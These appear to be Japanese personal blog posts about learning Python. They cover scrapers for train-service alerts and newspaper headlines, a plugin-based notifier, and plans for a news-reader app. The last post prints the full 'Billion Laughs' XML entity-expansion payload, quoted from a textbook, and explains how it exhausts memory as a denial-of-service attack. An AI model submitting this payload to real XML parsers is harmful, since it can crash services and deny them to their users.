even the teeniest change, which they swear could not possibly affect anything else, actually does

Writing tests can seem tedious at first, but they really do help you find problems faster—especially regressions (breaking something that used to work). Painful experience teaches all developers that even the teeniest change, which they swear could not possibly affect anything else, actually does.  

―Introducing Python, Chapter 12

悲しいけどその通り。どれだけ安全と思っているわずかな変更でも大抵バグはある。毎日がバグとの戦いだ。


HTML5/CSS3超初心者レベルからのスタート

EclipseはPHP+JavaScriptの特訓のときにインストールしたから、Aptena Studioプラグインを導入してHTML5/CSS3に対応させた。

参考:Eclipse ウェブプロジェクト開発プラグイン Aptana Studio – System House ACT

タグはある程度知っているけど、HTML自体を根本的に理解していないし、CSSに至っては全く勉強したこともないので、まずここから始めるぞ!

ほんっとにはじめてのHTML5

まだまだ本を買うのも勿体ないレベルなので、webソースで実力を付けてからだ!まずは自分のwebアプリ紹介サイトのデザインをまともに設計するところから始めよう。

webデザイン参考サイト Webデザイン勉強で参考にしたいまとめサイト・記事10選 | TechAcademyマガジン

買いたい本



プラグイン的pythonプログラミング

5/21に運よく(運悪く)小田急線で人身事故が起きたため、小田急線の運行情報をゲットするスクリプトが書けた。

import lxml.html
import requests
#<BR>タグを改行文字に変換して文字列化
def repBR(element):
rawstr = lxml.html.tostring(element)
repstr = rawstr.decode('utf-8').replace("<br>", "\n")
return lxml.html.fromstring(repstr).text_content()
def notify(target):
retDict = {}
try:
target_url = 'http://www.odakyu.jp/cgi-bin/user/emg/emergency_bbs.pl'
target_html = requests.get(target_url).content
root = lxml.html.fromstring(target_html)
time = root.cssselect('.date')[0]
left = root.cssselect('div.left_dotline_b')
#div.left_dotline_bがあれば運行状況が出ている
if len(left) > 0:
str = left[0].text_content()
str += "\n"
if len(left) > 1:
if len(left[1].cssselect('img[alt="ロマンスカーの運転状況"]')) == 0:
str += "\n詳細情報\n"
else:
str += "\nロマンスカーの運転状況\n"
str += repBR(left[1])
if len(left) > 2 and len(left[2].cssselect('img[alt="ロマンスカーの運転状況"]')):
str += "\nロマンスカーの運転状況\n" + repBR(left[2])
dict = {}
dict['time'] = time.text_content()
dict['contents'] = str
retDict['小田急小田原線'] = dict
except Exception as ex:
print(ex + " from odakyu")
return retDict

更に運行情報メイン処理も作成できた。ソース内で使うplugins.iniとsettings.iniは次のようなフォーマットを前提とする。

plugins.ini
[plugins]
jreast=中央線快速電車|中央・総武各駅停車|総武快速線|東海道線|京浜東北線|横須賀線|宇都宮線|高崎線|常磐線快速電車|中央本線|上野東京ライン
odakyu=小田急小田原線
yomiuritop=読売新聞

settings,ini
[settings]
to=xxxx@yahoo.co.jp|xxxxn@gmail.com
notify=読売新聞|小田急小田原線|中央線快速電車|中央・総武各駅停車

[smtp]
server=smtp.mail.yahoo.co.jp
pass=xxxx
port=587
from=xxxx@yahoo.co.jp

肝はプラグイン処理で、これは今後作成する新聞サイト一括ゲット+表示アプリでも使用するプロトタイプとして作成した。
__import__
を使って、インターフェースを統一した*.plファイルを読み込む。ここでは小田急線のソースにもあるnotifyという関数を必ず実装しておく。
巡回するサイトが増えたら、決まった形式のデータを返すスクリプトを作成し、iniファイルに設定を追加するだけで済む。コアとモジュールを分離し、コアは比較的単純な処理でよく、一番面倒なスクレイピング処理の実装は各モジュールに分散化できる。
一定時間ごとに処理をする方法もpythonでは楽勝だ。time.sleep(秒)を実行しつつwhile無限ループをかますだけでおしまい。sleepがCPU使用率を食うこともない。

#plugins.iniの読み込み
import configparser
conf = configparser.ConfigParser()
conf.read('plugins.ini')
pluginDict = {}
for item in conf.items('plugins'):
vals = item[1].split('|')
pluginDict[item[0]] = vals
#settings.iniの読み込み
conf.read('settings.ini')
sendList = []
for to in conf.get('settings', 'to').split('|'):
sendList.append(to)
notifyList = []
for notify in conf.get('settings', 'notify').split('|'):
notifyList.append(notify)
#使用するpluginと引数を決定する
targetPlugins = {}
for plugin in pluginDict.keys():
lines = pluginDict[plugin]
for notify in notifyList:
if notify in lines:
if plugin not in targetPlugins:
targetPlugins[plugin] = []
targetPlugins[plugin].append(notify)
smtpFrom = conf.get('smtp', 'from')
smtpServer = conf.get('smtp', 'server')
smtpPass = conf.get('smtp', 'pass')
smtpPort = conf.get('smtp', 'port')
#1分ごとにnotifyListを対象にpluginを実行、内容に変化があればメール送信
import time
import datetime
contentsDict = {}
d = datetime.datetime.today()
print("処理開始 %s時%s分" % (d.hour, d.minute))
while True:
for plugin in targetPlugins.keys():
module = __import__(plugin)
#プラグイン読み込み、実行
result = module.notify(targetPlugins[plugin])
for val in targetPlugins[plugin]:
strNotify = ""
#メモリ中のcontentDictに保存された内容と比較
#内容が変わった場合、カラに変わった場合にはメール送信
if val in result.keys():
#内容あり
item = result[val]
if (val in contentsDict.keys() and contentsDict[val] != item["contents"]) or val not in contentsDict.keys():
#メモリがカラ or 内容に変更有
strNotify = item["time"] + "\n" + item["contents"]
contentsDict[val] = item["contents"]
else:
#内容無し
#メモリがカラでない場合のみメール送信
if val in contentsDict.keys():
strNotify = "平常通り運行しています。"
#メモリ内容を消す
del contentsDict[val]
if strNotify != "":
#メール送信(現時点ではコンソール出力のみ)
print("[" + val + "]\n" + strNotify)
#1分ごとに反復
time.sleep(60)

なお、まだメール送信処理は未実装。コードはできているが、コンソールでそれなりに動作することが分かったらメール送信機能も付ける。これで、運行情報通知プログラムはほぼ完了だ。外出時に人身事故が起きても駅についてびっくりということがなくなる。来週はメール送信処理をつけて、さらにニュースアプリについても実装を開始しよう。

pythonのインデント強制な書式の利点の一つは、構造化プログラムでよくやる中カッコの閉じ忘れが原理的に発生しないところだ。これはありがたい。でもインデントを1つミスると予期しない処理をしてしまう危険性とも隣り合わせだね。

もう一つ。はてなブログでははてな記法モードを使わないとソースコードが綺麗に表示できないことが不便だ。見たままモードにもスーパーpre機能をつけてほしい。


運行状況通知プログラムの欠点

さあ日曜だ運行状況通知プログラムの続き、と思ったが、一つ欠点があることが分かった。そもそもこのプログラムは電車が遅延したり止まったりしないと、対象サイトの構造が分からないからスクレイピングのためのコードが書けないし、テストもできない!最近遅延も事故も少ないから、先に進めない。
仕方がないので読売新聞のサイトのヘッドラインの1行目の文字列を持ってくるスクリプトを書いた。コアの部分を先に作成しよう。

retDict = {}
import lxml.html
import requests
try:
target_url = 'http://www.yomiuri.co.jp/'
target_html = requests.get(target_url).content
root = lxml.html.fromstring(target_html.decode('utf-8'))
top = root.cssselect('.headline')[0].text_content()
dict = {}
dict['time'] = top[-6:-1]
dict['contents'] = top[0:-7]
retDict['読売新聞'] = dict
except Exception as ex:
print(ex)
print(retDict)

実行例

{‘読売新聞’: {‘contents’: ‘川崎の簡易宿泊所で火事、2人死亡16人重軽傷’, ‘time’: ’08:27′}}

top[-6:-1]とかtop[0:-7]とかすっきりしていていいですよね。


JR東日本のサイトから運行情報をゲットするスクリプト1

retDict = {}
lines = ['東海道線', '中央線快速電車']
import lxml.html
import requests
try:
target_url = 'http://traininfo.jreast.co.jp/train_info/kanto.aspx'
target_html = requests.get(target_url).content
root = lxml.html.fromstring(target_html)
TblInfo = root.cssselect('#TblInfo')[0]
trs = TblInfo.cssselect('.px12')
for tr in trs:
for line in lines:
if tr.text_content() == line:
time = tr.xpath('../../following::tr')[0]
content = tr.xpath('../../following::tr/following::tr')[0]
dict = {}
dict['time'] = time.text_content().rstrip()
dict['content'] = content.text_content().rstrip()
retDict[line] = dict
except Exception as ex:
print(ex)
print(retDict)

実行例

{‘中央線快速電車’: {‘content’: ‘中央線快速電車は、日野駅での人身事故の影響で、上下線で一部列車が運休となっています。’, ‘time’: ‘2015年5月10日21時49分 配信’}, ‘東海道線’: {‘content’: ‘東海道線は、横浜駅での人身事故の影響で、東京〜小田原駅間の下り線の一部列車に遅れがでています。高崎線への直通運転を終日中止します。’, ‘time’: ‘2015年5月10日21時20分 配信’}}

初めて作成、難しいねぇ。。最も時間がかかったのは、実はlxmlのインストール。
参考サイト:
http://d.hatena.ne.jp/hippu/20091103/1257259317
http://ivis-mynikki.blogspot.jp/2013/03/pythonvcvarsallbat.html


列車運行情報通知アプリ

今日家に帰る時間の直前に中央線快速が止まり、とても困った。そこで列車運行情報通知アプリを作ろうと思い立った。新聞記事自動取得アプリの前哨戦だ。
即席で考えた仕様は次の通り。
・メインのモジュールは1分ごとに運行情報サイトを巡回する
・サイトの内容をスクレイピングし、あらかじめ登録しておいた路線の運行情報に変化があったら、SMTPサーバーにアクセスしてメールを送信する
・設定はtxtファイルで保存?
・巡回用のスクリプトはプラグイン形式にして、いくらでも追加可能にする。決まった形式のファイルを返す(JSONがよい)。更新時刻と本文をリターンする。
・運行情報はHashTableに蓄えておけば十分!変化があったかどうかは、HashTableの内容、本文だけ比較すれば十分。
はじめてのPythonアプリ制作。来週の日曜を使えばできるかな。。?すでに、SMTPサーバにアクセスしてメールを送信する処理の作成は完了した。


段組みと改ページ

自作ニュースアプリで一番重要視するのが、記事の読みやすさと操作性だ。
太宰治 走れメロス
著作権の問題があるので、青空文庫のテキストを例にとる。若干マージンがとってあるものの、これをフルHDのディスプレイで表示すれば1行に100文字以上表示されてしまう。文章はほどよく長方形になっていると一番読みやすいが、こんな風に異様に横長に表示されていると読みづらい。段落内の一体どこを読んでいるのかわからなくなってくるし目が疲れる。これを解消するため、横幅を狭くすることが解決方法の1となる。新聞社のサイトをチェックしていると、大体1行の文字数は40〜50文字だ。それでは1行の文字数を45文字にしてみよう。
横幅を制限
段落が把握できる大きさの塊になり、読みやすさが向上した。ただし、幅を1/2にした分縦に長くなる。また画面の半分以上が空いてしまってもったいない。そこで新聞に倣って段組みを使ってみようと考えた。column-countを使用することで段組みは簡単に設定できる。
2段組
画面としては綺麗に見えるようになったがやはり縦に長い。しかもcolumn-countの機能はDIVタグの中身全体を分割して分けるので、2段組なら左側に全体の半分、右側に全体の半分が表示されてしまう。左側を大幅にスクロールしてから右側に移らなければいけないので、段組みがない場合よりもむしろ読みにくい。1画面で収まるようにしなければ使い勝手は悪い。
現時点で考えている仕組みとしては、次の通り。まず1画面に収まる大きさの文章を1つの単位として、画面に見やすいように配置する。2-3段組がちょうどよさそうなので、どちらかになるだろう。1画面に満たない記事は結合する。1画面を超える記事は分割する。表示する際に分割・結合の処理を都度行う。1画面程度のデータ量は大したことないので処理はすぐできるだろう。すべての処理を1画面単位で行うようにすれば統治も楽だし、スクロールやらページ番号付与やらもちょいちょいとやってしまえばよい。


新聞アプリ計画

ニュースサイトの重さ、リソースの無駄遣いには毎日困っているので、早く作ってしまいたい。概観的な仕様を今のうちに作成しておく。

  • 目標は、まるで新聞のように整形したHTML/CSSをオフラインで作成すること
  • ボタン一発で、巡回しているニュースソースの記事を、指定した時間について一気にゲットする
  • 時刻、URL、分類などのインデックスを作成し、本文は整形後にローカルに保存。この記事のフォーマットが一番重要。
  • ニュースソースからの記事ゲットはプラグイン形式にして、いくらでも追加・カスタマイズ可能なようにする。プラグインが二番目に重要。必ず決まった形式で整形する(XMLがいいか?NoSQLがいいか?)。

以上の処理でゲットした記事を新聞のような形式で表示する。ダウンロードと整形に若干の時間がかかるが、手動で1つ1つ記事を開くより遥かに高速、しかも読みやすい。ローカルにコンパクトかつ利用しやすい形式で保存してしまえば表示は高速になる。一番の目的は、網羅性が高くかつ即時性もあり、しかも高速に表示できる自分流の新聞を作成することだ。これができれば、日常の情報収集が非常に楽になる。
作成したプログラムを公開した場合著作権が問題になりそうではあるが、文章の内容については全く加工しないので同一性保持権に抵触しない。また新聞記事はニュースサイト全体と一体になった著作物なのだと拡大解釈された所で、加工した記事を公衆送信しない限り根本的に私的利用にしか使用できない仕組みなので問題ない(はず。要調査)。そもそも私的使用することが究極の目的。
必要な技術は
・記事収集・加工のために、サーバーサイドスクリプト、スクレイピングの知識(PHP or Python、Pythonの方がライブラリが充実していると思われる)
・記事表示のために、HTML/CSSの知識(全然ない)
・インタラクティブ性を持たせたければ、JavaScript(たぶん今の知識で十分)
Pythonによるスクレイピングは次のサイトが参考になりそうだ。
PythonでさくっとWebスクレイピングする (JavaScript読み込みにも対応しつつ) – Qiita
以上。もっと勉強しなくては。


Pythonでやりたいこと

いまPythonを学んでいるのは、スキルの向上に加えて言語の簡潔さ・拡張の容易さ・ライブラリの充実性に惹かれたためだ。とくにPythonはデータ解析処理ライブラリが充実している。
金融商品のテクニカル分析による未来予測にはあまり意味がないと思っている。明日上がる・下がる、という判定をするのは避けたい。ただしデータ解析には意味がある。いまどのような状況なのかを知るためにどうしても必要だ。具体的には、日足情報を使ったデータ解析、XBRL財務情報を使った定性分析に使用したいと思っている。
また、昨日一昨日の武田薬品の件ではっきりしたのは情報収集の必要性だ。後付の知識であの時こうしておけばよかった、ああすれば正解だったなどとは誰でも言えるが、13時に出たニュースを2時間以内に補足して行動するためにはそれなりのシステムが必要だ。私は時間が無くて新聞やニュースサイトをほとんど読めていない。googleニュースを開きっぱなしにして身の回りの重大ニュースだけは見逃さないようにしているが、インプットしている情報量はあまりにも少ない。
昨今、グノシーやニュースピックスなど、ニュースアプリ・ニュースまとめサイトの乱立が進んでいる。インターネット上のニュースサイトは紙媒体を駆逐しつつある。しかし私は、ニュースサイトには紙媒体に比べると欠点があると感じている。

・ネットニュース
○利点
即時性がある
あらゆるジャンルのニュースサイトがあるので、情報が偏らない
無料
×欠点
ランキング制になっていることが多く、網羅性に欠ける
広告に頼るためサイトが重い
1ページ当たりの情報が少なく、読むのに時間がかかる
・紙媒体
○利点
網羅性がある
読みやすい
携帯性がある
×
書いてから出版まで半日程度かかるので、即時性に欠ける
基本的に有料であるため何社も比較することが金銭的に難しい
情報量に偏りがある

ネットニュースの最大の欠点は、網羅性の不足だ。1画面に表示できる情報量は少なく、大抵のサイトはその即時性ゆえに1画面を超える情報がすぐに流れていって消える。実際は記事は存在するが、リンクに辿りつけない。また、多数の記事が見出しに折りたたまれてしまうので、重要なニュースでもタイトルだけ見てスキップしてしまう危険性が高い。さらに広告やデザインの関係で、画面内で本当に必要な情報は全画面の1/4程度だ。テキストと写真だけがあれば十分なのに、余計なものを大量に見せられてしまう。
なので、私は自分流のニュースまとめアプリを作成したい。ボタン一つでチェックしているサイトのヘッドラインと本文全部をダウンロードし加工して、自分が便利と思うようなレイアウトで表示させたい。グノシーやニュースピックスのように他人が選択した情報は嫌だ。網羅的にヘッドラインを作成した上で、軽快に紙媒体のようにざっと全体に目を通せるような仕組みを作りたい。そうじゃないと時間が足りないのだ。広告をスキップしたり、動画をダウンロードしようとして動作が重かったり、欲しい情報に全然辿りつかなかったり、そんなロスの大きすぎるニュースサイト巡りはもう嫌なのだ。Introducing Pythonの一発目のYoutube用のコードで感動したので、Pythonを使えば十分実現できるんじゃないかと思っている。


Billion Laughs

Introducing Pythonに載っていた。次のXMLを読み込むと大抵のPCが落ちるか、動作不安定になる。

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

まずlolzエレメントが読み込まれ、これはlol9を参照している。しかしlol9は10個のlol8エレメントと定義されていて、さらにlol8は10個のlol7エレメントと定義されている。以下10回繰り返して、最後にlol1は10個の”lol”に変換される。10の9乗個の”lol”、すなわち3GBのメモリを消費する。シンプルかつ効果の高いDoS攻撃の一種だ。
lol(laughing out loud)、というのは日本語にすると(笑)と大体同じ意味だ。lolでは日本人になじみがないが、をに変えれば4GBの(笑)で画面が埋め尽くされる。この攻撃のウザさが良く分かるだろう。なおWikipediaによれば発祥は2003年、有名になったのは2008年らしいのでセキュリティ業界にはとっくに膾炙されている問題と思われる。なお手元で実行してみようと思ったらセキュリティソフトに “XML Bomb” と警告されて実行できなかった。